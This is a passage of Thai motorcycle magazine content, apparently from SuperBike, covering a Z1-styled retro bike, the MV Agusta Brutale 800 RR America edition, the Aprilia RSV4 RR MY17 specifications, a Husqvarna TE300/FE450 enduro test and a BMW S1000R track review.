ซึ่งออกแบบมาให้คล้ายๆ กับล้อซี่ (ซึ่งมีข้อดีคือเบา) และคาลิเปอร์เบรคหน้าแบบโมโนบล็อก 4 พ็อต โช้คหน้าหัวกลับปรับแต่งได้ขนาด 41 มม. ส่วนระบบกันสะเทือนหลังเป็นแบบโช้คเดี่ยววางนอน (เกือบๆ) ปรับแต่งพรีโหลดและรีบาวด์แดมปิ้งได้ หัวหน้าฝ่ายออกแบบ Norikazu Matsumura ได้ทำการเช็คให้มั่นใจว่าจะมีสไตล์ที่คล้ายคลึงกับ Z1 ให้มากที่สุด รูปทรงของตัวรถแทบจะทั้งคันต้องคล้ายคลึง ไม่ใช่แค่เพียงถังน้ำมันหรือท้ายรถเท่านั้น แต่ยังต้องรวมไปถึงด้านข้างของตัวรถด้วย รถที่เราขี่ในงานเปิดตัวนั้นเป็นชุดสีส้มสลับสีน้ำตาลที่เป็นสีเดียวกับโมเดลในปี 1973 เลย แล้วก็จะมีสีอื่นให้เลือกก็จะเป็นสีดำหรือสีเขียวด้าน รายละเอียดต่างๆ ของรถนั้นดูดีขึ้นเวลาคุณดูใกล้ๆ และคล้ายกับ Z1 มากๆ มัน ทั้งโลโก้ที่ด้านข้างรถ กระจกมองข้างทรงกลม เบาะปัก และไฟท้าย LED ทรงรี กระทั่งตัวฟอนต์ในเรือนไมล์ก็เป็นเหมือนของรุ่นดั้งเดิม แต่ในเรือนไมล์กรอบโครเมี่ยมจะเป็นการแสดงผลข้อมูลแบบดิจิตอลแทน

MV Agusta อัพเดต Brutale 800 RR America Edition

        ร้อนแรงเสมอกับค่าย MV Agusta กับคำนิยาม Motorcycle Art ที่เปิดตัวโมเดลใหม่ทีไรก็ทำเอาเราน้ำลายหกอยากเป็นเจ้าเข้าเจ้าของอยู่ร่ำไป และครั้งนี้แม้ว่าจะไม่ได้เปิดตัวโมเดลใหม่ ยังคงอยู่กับ Brutale 800 RR ซึ่งตอนนี้ผ่านมาตรฐาน Euro4 แล้ว แต่ก็มีการอัพเดตแสนร้อนแรง ด้วยการทำมันเป็นเวอร์ชั่นพิเศษอย่าง America        แน่นอนว่าใช้พื้นฐานร่วมกันกับ Brutale 800 RR ซึ่งมีการปรับเปลี่ยนการออกแบบเกียร์บ็อกซ์เสียใหม่ และอัพเดตระบบอิเล็กทรอนิกส์เพิ่มเติม และมาในชุดสีธงชาติสหรัฐอเมริกาให้สมกับชื่อโมเดล โดยโมเดล America เป็นการแสดงความเคารพให้กับ 1975 MV S America 750 ผ่านสไตล์และลวดลายการเพ้นท์ที่โดดเด่น         และเช่นเคยโมเดลพิเศษก็ย่อมมากับจำนวนที่จำกัด พร้อมกับตัวเลขที่ระบุบนรถแต่ละคันว่าเป็นคันที่เท่าไหร่ รวมไปถึงเครื่องหมายบ่งบอกความพิเศษอย่างคำว่า ‘America Special Edition’ ซึ่งเป็นเครื่องหมายการันตีความพิเศษแบบสุดๆ ของโมเดลพิเศษนี้         แม้จะชื่อ America แต่ก็ไม่ได้มีขายแต่ในอเมริกานะครับ แต่ว่าเมืองไทยนั้นจะมีนำเข้ามาจำหน่ายหรือไม่ ต้องลองหาทางติดต่อทางตัวแทนจำหน่ายเอาเองนะครับ บอกได้เลยว่า ราคาไม่เบาแน่นอน อ่านข่าวสารเพิ่มเติม คลิก ติดตามเพจ Facebook SuperBike คลิก

Aprilia: รายละเอียดและราคา Aprilia RSV4 RR MY17 อาพริเลีย อาร์เอสวี4 ปี 2018

ยี่ห้อ-รุ่น: Aprilia RSV4 RR MY17 อาพริเลีย อาร์เอสวี4 ปี 2018 ประเภท: Sport Bigbike จุดเด่น: อาพริเลีย นิว อาร์เอสวี4 เอ็มวาย17 (Aprilia New RSV4 (MY17)) คือ รถมอเตอร์ไซค์ที่ผลิตแบบ full scale รุ่นแรกพร้อมเครื่องยนต์ V4 แบบแคบที่มีสมรรถนะสูง นับเป็นเครื่องยนต์ที่ต่างจากเดิมและมีกำลังมากที่สุดที่อาพริเลียเคยผลิตมา อุปกรณ์ไฟฟ้าทั้งหมด มีขนาดกะทัดรัดและน้ำหนักเบา ซึ่งการเปลี่ยนแปลงต่างๆ ของเครื่องยนต์ V4 จากอิตาลีตัวนี้นอกจากจะส่งผลให้ผ่านการรับรองมาตรฐาน Euro 4 แล้ว ยังเพิ่มความเชื่อมั่นและสมรรถนะโดยรวมของเครื่องยนต์พร้อมกับยังคงกำลังและแรงบิดสูงสุด (อยู่ที่ 201 แรงม้า ที่ 13,000 รอบ/นาที และ 115 นิวตัน-เมตร ที่ 10,500 รอบ/นาที ตามลำดับ) นอกจากเครื่องยนต์ที่มีสมรรถนะยอดเยี่ยมขึ้นแล้ว โครงรถแบบซูเปอร์ไบค์ของอาร์เอสวี4 เอ็มวาย17 ยังถือเป็นหนึ่งในสุดยอดแชสซีที่ดีที่สุดในโลกที่สามารถปรับตำแหน่งของเครื่องยนต์ในโครงรถ มุม headstock เดือย swingarm และความสูงด้านท้ายได้ โดยเป็นการปรับเพิ่มเติมจากระบบช่วงล่างที่สามารถปรับได้เต็มที่ เช่นเดียวกับรถสำหรับแข่งขัน NIX ของ Ohlins ส่วนระบบเบรกยังใช้ของ Brembo ซึ่งมีการเปลี่ยนแปลงที่สำคัญคือเบรกหน้าใช้จานเหล็กคู่หน้าหนา 5 มม. แบบใหม่ที่เส้นผ่านศูนย์กลางเพิ่มเป็น 330 มม. ยึดโดยอุปกรณ์ monobloc M50 callipers ที่ติดตั้งพร้อมกับแผ่นเบรกแบบ friction coefficient แบบใหม่ที่เหนือกว่าเดิม สำหรับระบบไฟฟ้าของอาพริเลีย นิว อาร์เอสวี4 อาร์เอฟ (เอ็มวาย17) และอาร์อาร์ (เอ็มวาย17) ใช้ชุดควบคุมไฟฟ้าระบบ APRC (Aprilia Performance Ride Control) ที่ดีกว่าเดิม มีการติดตั้ง inertial platform แบบใหม่ที่ควบคุมการทำงานทำให้ตรวจจับสภาพการเคลื่อนของรถได้แม่นยำขึ้น ส่งผลให้สามารถวางแผนควบคุมไฟฟ้าได้อย่างมีประสิทธิภาพมากขึ้น โดยเป็นชุดที่มีระบบสมบูรณ์แบบและละเอียดที่สุดเท่าที่มีจำหน่ายในท้องตลาดปัจจุบัน สำหรับความแตกต่างระหว่างอาพริเลีย นิว อาร์เอสวี4 อาร์เอฟ (เอ็มวาย17) และอาร์อาร์ (เอ็มวาย17) นั้นคือโมเดลอาร์เอฟ จะมาพร้อมกับระบบช่วงล่างแบบใหม่ของ Ohlins และล้ออะลูมิเนียมหล่อขึ้นรูปเป็นอุปกรณ์มาตรฐาน จึงมีรูปลักษณ์โดดเด่นไม่เหมือนใครด้วยสี Superpole คล้ายกับเวอร์ชั่นก่อนหน้านี้แต่มีลาดลายกราฟิกที่ต่างออกไป   ระบบเกียร์  เกียร์: เกียร์ธรรมดา ระบบเกียร์: 6 จังหวะ พร้อม AQS Quick Shift รายละเอียดเครื่องยนต์: V4 , DOHC 4 วาล์ว/สูบ ระบบระบายความร้อน: น้ำ ระบบสตาร์ท: สตาร์ทไฟฟ้า (มือ)    เครื่องยนต์ ขนาดเครื่องยนต์: 999.60 cc. แบบเครื่องยนต์: 4 จังหวะ ระบบจุดระเบิด: Magneti Marelli Digital electronic ignition system  ประเภทน้ำมันเชื้อเพลิง: เบนซิน 95 ระบบจ่ายน้ำมันเชื้อเพลิง: หัวฉีด (Marelli 48 มม.) ความจุถังน้ำมันเชื้อเพลิง: 18.5 ลิตร ระบบกันสะเทือน: ล้อหน้า โช้คอัพหน้าแบบกลับหัว Ohlins NIX ขนาดแกนโช้ค 43 มม. ปรับต้องสปริงพรีโหลดและการอัดและการคืนตัวได้ ระยะยุบตัว 120 มม., ล้อหลัง ระบบสวิงอาร์มคู่แบบอะลูมิเนียม ด้วยเทคโนโลยีแบบหล่อขึ้นรูป พร้อมโช้คอัพหลัง Ohlins TTX พร้อมกระปุก piggy-back ช่วยรับแรงในการยุบตัวของโช้คอัพพร้อมปรับตั้งระยะพรีโหลด , การอัดและการดีดกลับได้ที่ตัวโช้คอัพโดยมีระยะยุบตัวโช้คอัพอยู่ที่ 120 มม. ระบบเบรก: ล้อหน้า ดิสก์เบรก (ดิสก์เบรกขนาด 330 มม. แม่ปั๊ม Brembo 4 ลูกสูบ + ABS),

รีวิว ทดสอบ HUSQVARNA TE300/2T & FE450/4T

และแล้วการเทสต์ทางฝุ่นหรือการทดสอบแนวเอ็นดูโร่ก็เกิดขึ้นอีกครั้ง โดยในครั้งนี้เราได้เดินทางไปที่พัทยาเพื่อที่เราจะได้ไปเจอกับเจ้า Husqvarna มอเตอร์ไบค์สัญชาติสวีเดน ณ Husqvarna Motorcycle Thailand (พัทยาใต้)             หลายๆ คนถ้าได้ติดตามเรื่องราวในวงการมอเตอร์ไบค์มาตลอดน่าจะเคยได้ยินชื่อแบรนด์ Husqvarna มาบ้าง ทั้งนี้ Husqvarna นั้นเข้ามาในเมืองไทยมาได้ระยะนึงแล้ว แต่อาจจะไม่แพร่หลายเหมือนแบรนด์อื่นๆ สักเท่าไหร่ แม้ว่าที่ต่างประเทศแบรนด์นี้นั้นค่อนข้างจะโด่งดังก็ตาม และหลังจากที่ Husqvarna เริ่มรุกตลาดเมืองไทยแบบเงียบๆ จนกระทั่งตอนนี้ Husqvarna ได้ตัวแทนจำหน่ายพร้อมทั้งบริการเซอร์วิสต์ในไทยอย่างเป็นทางการแล้ว  ทาง SuperBike ก็ย่อมไม่พลาดโอกาสที่จะไปทดลองขับขี่ Husqvarna มอเตอร์ไบค์สัญชาติสวีเดนที่มีชื่อเสียงในเรื่องของทางฝุ่นมาเนิ่นนานสักที หากคุณเป็นสายฝุ่นและอดใจรอไม่ไหวแล้วก็รีบอ่านย่อหน้าต่อไปให้ไวเลย (แม้คุณจะเป็นสายทางเรียบอ่านไว้ก็ได้ Husqvarna มีรถซูเปอร์โมโตตัวแรงๆ ให้เลือกเช่นกัน หากเรามีโอกาสก็จะไปทดสอบมันให้ได้เช่นกัน ติดตามเราต่อไปได้เลย)   โมเดลที่เราจะทำการเทสต์ในวันนี้คือเจ้า Husqvarna TE300 และ FE450 แน่นอนว่าทั้ง 2 รุ่นนี้เป็นเอ็นดูโรไบค์จ๋าทั้งคู่ ทั้งนี้ทั้งสองรหัสนี้มีความแตกต่างกันอย่างชัดเจน โดยเฉพาะในเรื่องของเครื่องยนต์ที่เป็นแบบ 2 จังหวะและ 4 จังหวะตามลำดับ (ตัว T ในชื่อรหัสสื่อถึง Two Stroke หรือ 2 จังหวะ ส่วนตัว F ในชื่อสื่อถึง Four Stroke หรือ 4 จังหวะนั่นเอง) ส่วนอุปกรณ์อื่นๆ โดยรวมนั้นแทบจะไม่แตกต่างกันเลย ในส่วนของความแรงของเจ้าเครื่องยนต์ 2 ตัวนี้ ดูที่ตัวเลขซีซีนั้นออกจะต่างกันเยอะพอสมควร แต่แรงม้าที่ผลิตออกมาได้นั้นกลับแทบไม่ต่างกันเลยเจ้า TE300 มีแรงม้าอยู่ที่ 54 ตัวส่วนเจ้า FE450 มีแรงม้าอยู่ที่ 53 ตัว แต่เจ้า FE จะเสียเปรียบเรื่องน้ำหนักตัวที่หนักกว่า TE300 อยู่ 8.4 กก. ซึ่งน้ำหนักตัวของ TE300 อยู่ที่ 104.4 กก. เท่านั้น ส่วน FE450 อยู่ที่ 112.8 กก. อย่างไรก็ดีถือว่าทั้ง 2 รุ่นก็ยังมีน้ำหนักที่เบามากๆ อยู่ดีครับ สิ่งที่โดนใจผมสุดๆ คือทั้งสองคันนี้มันมีระบบสตาร์ทไฟฟ้าด้วย ทำไมเรื่องแค่นี้ถึงถูกใจหรอครับ? ก็เพราะส่วนมากรถทรงวิบากจะเป็นระบบสตาร์ทเท้า หรือกระแทกด้วยเท้านั่นเอง นอกจากนี้ทั้ง 2 รุ่นนี้ ยังมีขาตั้งข้างติดตัวมาตั้งแต่เกิดเลยนะครับ สถานที่ในการเทสต์ก็คือ หลังมหาวิทยาลัยธรรมศาสตร์ ศูนย์พัทยา โดยเส้นทางเข้า-ออกก่อนไปถึงบริเวณที่เราจะเก็บภาพกันเป็นหลักนั้น เส้นทางจะเป็นดินแดงหินอัด การเดินทางไม่มีปัญหาอะไรถือว่าสบายเอามากๆ ด้วยระบบช่วงล่างจากค่าย WP เหมือนอย่างค่ายสีส้มที่มีมาให้ค่อนข้างดีถึงดีมาก รวมไปถึงยางติดรถและระบบเบรค ส่วนพื้นผิวสถานที่เทสต์และเก็บภาพงามๆ จะเป็นดินปนทรายละเอียด หน้าแคบ โค้งแคบ และมีต้นหญ้าขึ้นสูงมาก (ท่วมหัวเลยล่ะ) สูงจนไม่สามารถมองเห็นทางที่อยู่ถัดจากโค้งต่อไปได้เลย ทีมงาน SuperBike เองก็เพิ่มจะเคยไปกันเป็นครั้งแรกด้วย บางช็อตบางช่วงเล่นเอาช่างภาพเรากระโดดหลบรถแทบไม่ทันกันเลยทีเดียว เรียกได้ว่าเส้นทางโหดและทุลักทุเลไม่เบาเลยล่ะครับ แม้แต่เทสต์ไรเดอร์เองก็เช่นกันครับ ยัดมาในโค้งขาส่งคันเร่งออกจากโค้ง เท้าก็ต้องยันพื้น มือก็ต้องคอบประคอง คันเร่งก็ต้องเลี้ยง ล้อหลังก็กำลังฟรี ท้ายก็กำลังออกข้าง สายตาไปเห็นจุดดำๆ ปลายโค้ง แล้วก็ต้องร้อง…เฮ้ย!!! หลบ หลบไปเร็ว มาดูความแตกต่างกันระหว่าง TE300 และ FE450 กันครับ หากว่ามองภาพรวมที่จอดคู่กัน แทบจะไม่แตกต่างกัน ที่จะเห็นเด่นชัดคือ ท่อไอเสียและหน้าตาของเครื่องยนต์ เรื่องเครื่องยนต์นั้นบอกเลยครับว่าคนละเรื่องกันเลย มาทำความเข้าใจกันก่อนแบบกระชับกันนิด เริ่มด้วยอักษรที่ลงท้ายด้วย 2T / 4T คือ เครื่องยนต์ 2 จังหวะ และ 4 จังหวะ เครื่องยนต์ 2 จังหวะ เป็นเครื่องยนต์แบบง่ายๆ การทำงานและชิ้นส่วนต่างๆ ของเครื่องยนต์ไม่ซับซ้อนเหมือนของเครื่องยนต์ 4 จังหวะ การนำไอดีเข้าและปล่อยไอเสียที่เกิดจากการเผาไหม้ทำได้ด้วยการเปิดและปิดของลูกสูบเพียง 2 จังหวะเท่านั้น จึงไม่มีกลไกปิดและเปิดทางเดินไอดีไอเสียเข้ามาเกี่ยว ส่วนเครื่องยนต์ 4 จังหวะ มีการทำงานออกเป็น 4 จังหวะ คือ จังหวะดูด จังหวะอัด จังหวะระเบิด และจังหวะคาย ในการทำงานทั้ง 4 จังหวะของลูกสูบเท่ากับการหมุนของเพลาข้อเหวี่ยง 2 รอบ ต่อการจุดระเบิด

รีวิว ทดสอบ BMW S1000R เน็กเก็ตไบค์ตัวพัน ม้ามืดนอกสายตา!!

เทสไรเดอร์ตัววพ่อ กับ Sport Naked ตัวพ่อมากับการรีวิว ทดสอบ BMW S1000R ที่สนามไทยแลนด์ เซอร์กิต นครชัยศรี โดย SuperBike Team นำการทดสอบโดย Benz Racing Don’t underestimate me!! ฆ่าได้หยามไม่ได้ BMW S1000R เน็กเก็ตไบค์ตัวพัน ม้ามืดนอกสายตาที่คุณไม่ควรมองข้าม ท่านผู้อ่านหลายคนเปิดมาเจอคอลัมน์นี้ก็คงนึกในใจว่า “ไรว้า รถเก่าปีที่แล้วทำไมยังจะเอามาเทสต์อีก” แล้วอาจจะเปิดข้ามไป แต่ผมบอกก่อนเลยเรามีเหตุผลมากมายเลยล่ะครับ จริงๆ แล้วเราเคยพิมพ์บททดสอบของมันในรูปแบบของคอลัมน์ลองขี่หรือ First Ride ไปแล้วในฉบับที่ 23 นู้นเลยล่ะครับ ซึ่งแน่นอนว่ามันเป็นการทดสอบที่ต่างประเทศและไม่ได้จัดเต็มแบบที่ควรจะเป็นอย่างที่ SuperBike ในไทยแล้วทำกัน ถ้าถามว่าทำไมแล้วไม่ทดสอบตั้งแต่มันมาไทยใหม่ๆ ก็ต้องตอบเลยว่าคิวยาวซะเหลือเกิน แถมเจ้าฉลามชีเปลือยคันนี้นี่กว่าจะมาไทยได้ก็ช้าจนเราทนไม่ไหวชิงทดสอบเน็กเก็ตไบค์ในคลาสพันซีซีไปซะก่อนแล้วเนี่ยสิ เราก็เลยต้องมาหาคิวว่างเพื่อที่จะทดสอบ และก็เราก็ได้เป็นเล่มที่ท่านกำลังถืออยู่ในมือเนี่ยแหละครับ เรียกได้ว่าถึงจะมาช้า แต่ก็มาเต็มนะพี่น้อง เหมาะสำหรับท่านที่ยังตัดสินใจไม่ได้สักทีว่าเน็กเก็ตไบค์คันไหนคือตัวตนของคุณ อ่านบทความนี้แล้วคุณอาจจะหลงรักมันก็เป็นได้ ต้นกำเนิด BMW S 1000 R นั้นเป็นเน็กเก็ตโร้ดสเตอร์ของทางค่ายใบพัดสีฟ้าที่มีพื้นฐานมาจากเจ้า BMW S 1000 RR ฉลามสายพันธุ์แรง สปอร์ตไบค์ตัวพันตัวหลักของทางค่าย ด้านหน้าตาก็มีความละม้ายคลายคลึงกันค่อนข้างมาก จุดเด่นคือไฟหน้าแบบไม่สมมาตรหรือที่มักจะเรียกกันแบบบ้านๆ ว่าตาเหล่ ซึ่งเป็นสไตล์แบบนึงของทางค่าย BMW แต่ครั้นจะให้เรียกว่าแฝดคนละฝาเลยก็ไม่ได้ เพราะมีการเปลี่ยนแปลงรายละเอียดต่างๆ มากมายเลยทีเดียว ที่เห็นชัดๆ จะๆ ก็มีไฟหน้า ท่อไอเสีย แฮนด์บาร์ และแฟริ่ง แต่ก็ยังมีหลายๆ จุด ที่เปลี่ยนแปลงไป จะมีก็แต่เครื่องยนต์ที่เอาเครื่องยนต์ของเจ้า BMW S 1000 RR มาใช้ แต่ก็ถูกเปลี่ยนแปลงปรับจูนไปมากพอสมควรเลย โดยส่วนตัวผมว่ามันแปลกๆ จะพูดว่าสวยก็ไม่เชิง แต่จะว่าหล่อก็แปลกๆ จะเท่ก็พูดได้ไม่เต็มปาก ทั้งนี้ทั้งนั้นเรื่องรูปร่างหน้าตาผมว่าแล้วแต่คนชอบซะมากกว่า แต่รถไม่หล่อก็ไม่ได้แปลว่าจะไม่แรงไปด้วยสักหน่อยเนอะ ว่างั้นมั้ยครับ ขนาดคนยังมีบอกเลยว่า อย่าเอาแต่ชอบคนที่หน้าตาเลยครับ ในเรื่องของเครื่องยนต์ที่ได้นำเครื่องยนต์ 4 สูบเรียงระบายความร้อนด้วยน้ำขนาด 999 ซีซีของเจ้า RR มาใช้ อย่างไรก็ตามมันก็มีการปรับเปลี่ยนในเรื่องของสมรรถนะในช่วงย่านความเร็วรอบต่ำถึงกลางให้เหมาะสมกับการเป็นรถเน็กเก็ต หรือโร้ดสเตอร์ที่เน้นการใช้งานในชีวิตประจำวันและการขับขี่แบบสปอร์ตบนถนนโล่งๆ ด้วยการเพิ่มแรงม้าและทอร์คให้มีมากขึ้น แต่มีการปรับลดความเร็วรอบสูงสุดลงมาประมาณ 2,000 รอบ แม้ว่าเจ้า S 1000 R นั้นถูกปรับลดแรงม้าลงมาเป็น 160 ม้าที่ 11,000 รอบก็ตามแต่กลับมีแรงบิดสูงสุดที่ 83 ปอนด์ฟุตที่ 9,250 รอบซึ่งมากกว่าแรงบิดของเจ้า S 1000 RR อยู่เกือบๆ 7 ปอนด์ฟุต ช่วยให้รอบต่ำนั้นมาเร็วมาแรงมากกว่า ส่วนน้ำหนักรถอยู่ที่ 207 กก.รวมน้ำมันเต็มถัง ซึ่งก็ไม่ได้ถือว่าหนักมากมายอะไรนักสำหรับรถตัวพัน เรียกได้ว่าสืบสายเลือดความแรงมาเช่นกัน แต่มาต่างกันที่ลักษณะหน้าตา นิสัยและสไตล์เท่านั้นเอง เจ้าฉลามสีแดงคันที่เห็นอยู่นี้คือ BMW S 1000 R สแตนด์ดาร์ดแพ็กเก็จ (Standard Package) ในไทยจะมีจำหน่ายแค่สแตนด์ดาร์ดแพ็กเกจอย่างเดียวเท่านั้น ซึ่งแพ็กเก็จนี้จะมีลูกเล่นน้อยกว่ารุ่นอื่นๆ คือจะไม่มีระบบ Dynamic Damping Control หรือ DDC หรือที่เรานิยมเรียกกันว่าโช้คปรับไฟฟ้า ฮีทกริ๊ปหรืออุ่นมือ ครูซคอนโทรลและอกไก่ อย่างในแพ็กเก็จอื่นๆ ที่วางขายในต่างประเทศ แต่เดี๋ยวก่อนอย่าเพิ่งคิดว่ามันจะหน่อมเพราะโดนลดทอนลูกเล่นบางอย่างไป แต่ไม่ว่าจะยังไงลูกเล่นสำคัญอย่างโหมดการขับขี่ที่มีให้เลือก 2 โหมดนั้นคือ โหมด Rain และโหมด Road ที่มีไว้ให้ปรับเปลี่ยนให้สอดคล้องกับสภาพถนนและอากาศ ระบบเบรค ABS แบบ Race ABS และระบบ Automatic Stability Control หรือ ASC หรือระบบควบคุมความเสถียรของรถซึ่งก็จะช่วยในการเร่งความเร็วบนถนนที่มีการยึดเกาะน้อยได้อย่างปลอดภัยมากขึ้น ซึ่งสำคัญต่อการขับขี่อย่างปลอดภัยก็ยังมีอยู่ครบถ้วนครับ นอกจากนี้ก็มีกันสะบัดติดตั้งมาให้ด้วยเลย ผมเอาหัวผมนี่เป็นประกันเลยว่าถึงไม่มีลูกเล่นที่หายไปก็แทบจะไม่มีผลอะไรมากนัก เรียกได้ว่าอย่าดูถูกเจ้า S 1000 R เด็ดขาด *ทั้งนี้ในโหมด Rain รถจะถูกตัดกำลังลงให้เหลือเพียงแค่ 136 ม้า ส่วนแรงบิดจะเหลือแค่เพียง 77 ปอนด์ฟุตเท่านั้น อย่าหยามกัน หลังจากที่ได้ลงเอามันไปหวดในแทร็กที่ร้อนระอุด้วยแสงแดดหน้าร้อนเมืองไทยเพื่อที่จะได้สัมผัสกับสมรรถนะและฟีลลิ่งในการขับขี่อยู่พักใหญ่ พอเริ่มจับจังหวะจะโคนและฟีลลิ่งของรถได้พอสมควรก็เริ่มการถ่ายภาพมาลงให้ท่านได้ชมว่าเป็นอย่างไรกันบ้าง ผมรู้สึกว่าเจ้า S 1000 R คันนี้เนี่ยมีเครื่องยนต์ที่ใช้งานได้ดีเลยล่ะ